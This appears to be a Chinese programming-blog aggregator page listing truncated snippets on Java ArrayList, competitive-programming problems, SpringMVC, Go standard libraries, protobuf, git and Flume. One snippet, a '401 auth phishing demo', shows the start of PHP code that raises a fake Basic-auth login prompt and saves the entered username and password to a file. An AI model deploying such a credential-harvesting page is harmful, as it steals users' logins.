关于ArrayList源码
一、构造方法 1 private static final int DEFAULT_CAPACITY = 10;
2
3 //空参的构造方法,初始化数组长度为默认值,默认值为10
4 public ArrayList() {
5 this.elementData =DEFAULTCAPACITY_EMPTY_ELEMENTDATA;
6 }
1 //有参的构建函数
2 public ArrayList(int initialCapaci
Prime Ring Problem HDU - 1016 (dfs)
Prime Ring Problem HDU - 1016 A ring is compose of n circles as shown in diagram. Put natural number 1, 2, ..., n into each circle separately, and the sum of numbers in two adjacent circles should be a prime. Note: the number of first circle should
HDU 5737 Differencia set + 主席树
HDU 5737 很明显能发现数据是随机的。 我们用set去维护值一样的段, 因为随机所以set里面线段的大小减少得很快, 平均大概30个左右。 每次查询暴力处理每一段相同的在主席树上查找累加答案就可以了。 但是这个好像不是标算, 标算复杂度(n + m) * log(n) 并且数据不是随机也可以。 #pragma GCC optimize(2)
#pragma GCC optimize(3)
#include<bits/stdc++.h>
#define LL long long
#
DAY1_leetcode
1.两数之和 1 class Solution {
2 public int[] twoSum(int[] nums, int target) {
3 Map<Integer, Integer> map = new HashMap<>();
4 for(int i = 0; i<nums.length;i++){
5 int tmp = target - nums[i];
6 if(m
SpringMVC四种响应传值的方式
1、返回值为void类型 使用方法的参数requesr和response进行数据分享和页面跳转 @RequestMapping("/test1")
public void test1(HttpServletRequest request, HttpServletResponse response) throws Exception{
//通过request和response控制页面和共享数据
request.setAttribute("msg","你好,太阳
401认证钓鱼demo
<?php
//@b4dboy
if(!isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW'])) {
Header("WWW-Authenticate: Basic realm=\"USER LOGIN\"");
Header("HTTP/1.0 401 Unauthorized");
} else {
@file_put_contents('./b4dboy.txt', $_S
Go语言标准库之time
时间和日期是我们编程中经常会用到的,本文主要介绍了Go语言内置的time包的基本用法。 time包 time包提供了时间的显示和测量用的函数。日历的计算采用的是公历。 时间类型 time.Time类型表示时间。我们可以通过time.Now()函数获取当前的时间对象,然后获取时间对象的年月日时分秒等信息。示例代码如下: func timeDemo() {
now := time.Now() //获取当前时间
fmt.Printf("current time:%v\n&q
protobuf初识
protobuf是一种高效的数据格式,平台无关、语言无关、可扩展,可用于 RPC 系统和持续数据存储系统。 protobuf protobuf介绍 Protobuf是Protocol Buffer的简称,它是Google公司于2008年开源的一种高效的平台无关、语言无关、可扩展的数据格式,目前Protobuf作为接口规范的描述语言,可以作为Go语言RPC接口的基础工具。 protobuf使用 protobuf是一个与语言无关的一个数据协议,所以我们需要先编写IDL文件然后借助专用工具生成指定语
VS Code配置Go语言开发环境
VS Code是微软开源的一款编辑器,插件系统十分的丰富。本文就介绍了如何使用VS Code搭建Go语言开发环境。 VS Code配置Go语言开发环境 说在前面的话,Go语言是采用UTF8编码的,理论上使用任何文本编辑器都能做Go语言开发。大家可以根据自己的喜好自行选择。编辑器/IDE没有最好只有最适合。 下载与安装 VS Code官方下载地址:https://code.visualstudio.com/Download 三大主流平台都支持,请根据自己的电脑平台选择对应的安装包。 双击下载好的
git在项目中常用命令和项目流程中涉及到步骤分析
GIT git的组成:分布式,版本控制,软件 svn是集中式版本控制,而git是分布式版本控制 问价拷贝 本地版本控制 集中式版本控制 分布式版本控制 第一阶段:生成版本,扩展功能,版本回滚 命令: 1.git init ----- 初始化生成.git文件进行管理
2.git status ------检测当前文件的文件状态,也显示当前文件夹内的文件名称,管理后的文件是绿色,未管理的是红色,也可以进行文件检测,检测文件是否被修改,如若修改则直接变成红色.
3.git add 文件名称 --
Flume伪分布式配置
配置Flume tar -zxvf apache-flume-1.8.0-bin.tar.gz
mkdir /opt/flume/
mv apache-flume-1.8.0-bin.tar.gz /opt/flume/flume1.8.0/ 配置环境变量
vim /etc/profile export FLUME_HOME=/opt/flume/flume1.8.0
export FLUME_CONF_DIR=${FLUME_HOME}/conf
export PATH=.:${JAVA_
Java回顾--集合
1、Collection接口和Collections包装类: Collection概念:是一个集合接口,提供了对集合对象进行基本操作的通用接口方法。 有以下结构: |--List | |--LinkedList | |--ArrayList | |--Vector | |--stack |--Set Collections: 包含各种有关集合操作的静态多态方法,且该类无法实例化,相当于一个工具类。 2、HashMap、Ha
如何检查是否安装了java环境(即JRE)
浏览器访问一些调用了图形界面的网页,需要使用JRE,这个时候我们就需要检测操作系统是否已经安装了java环境( JRE) 1.点击开始菜单,输入cmd 2.在cmd窗口中输入java 若提示“‘java’不是内部或外部命令,也不是可运行的程序或批处理文件”,则表示未安装JRE 若提示下图 则表示已经安装JRE 3.输入java -version顺便可以查看java版本 对于某些新安装JRE的用户,还没有设置环境变量 输入java -version后提示“java-version' 不是内部或外
Go语言标准库之template
html/template包实现了数据驱动的模板,用于生成可对抗代码注入的安全HTML输出。它提供了和text/template包相同的接口,Go语言中输出HTML的场景都应使用text/template包。 模板 在基于MVC的Web架构中,我们通常需要在后端渲染一些数据到HTML文件中,从而实现动态的网页效果。 模板示例 通过将模板应用于一个数据结构(即该数据结构作为模板的参数)来执行,来获得输出。模板中的注释引用数据接口的元素(一般如结构体的字段或者字典的键)来控制执行过程和获取需要呈现
Go语言标准库之log
无论是软件开发的调试阶段还是软件上线之后的运行阶段,日志一直都是非常重要的一个环节,我们也应该养成在程序中记录日志的好习惯。 log Go语言内置的log包实现了简单的日志服务。本文介绍了标准库log的基本使用。 使用Logger log包定义了Logger类型,该类型提供了一些格式化输出的方法。本包也提供了一个预定义的“标准”logger,可以通过调用函数Print系列(Print|Printf|Println)、Fatal系列(Fatal|Fatalf|Fatalln)、和Panic系列(
Go语言获取系统性能数据gopsutil库
psutil是一个跨平台进程和系统监控的Python库,而gopsutil是其Go语言版本的实现。本文介绍了它的基本使用。 Go语言部署简单、性能好的特点非常适合做一些诸如采集系统信息和监控的服务,本文介绍的gopsutil库是知名Python库:psutil的一个Go语言版本的实现。 安装 go get github.com/shirou/gopsutil 使用 CPU 采集CPU相关信息。 import "github.com/shirou/gopsutil/cpu"
今日推荐
周排行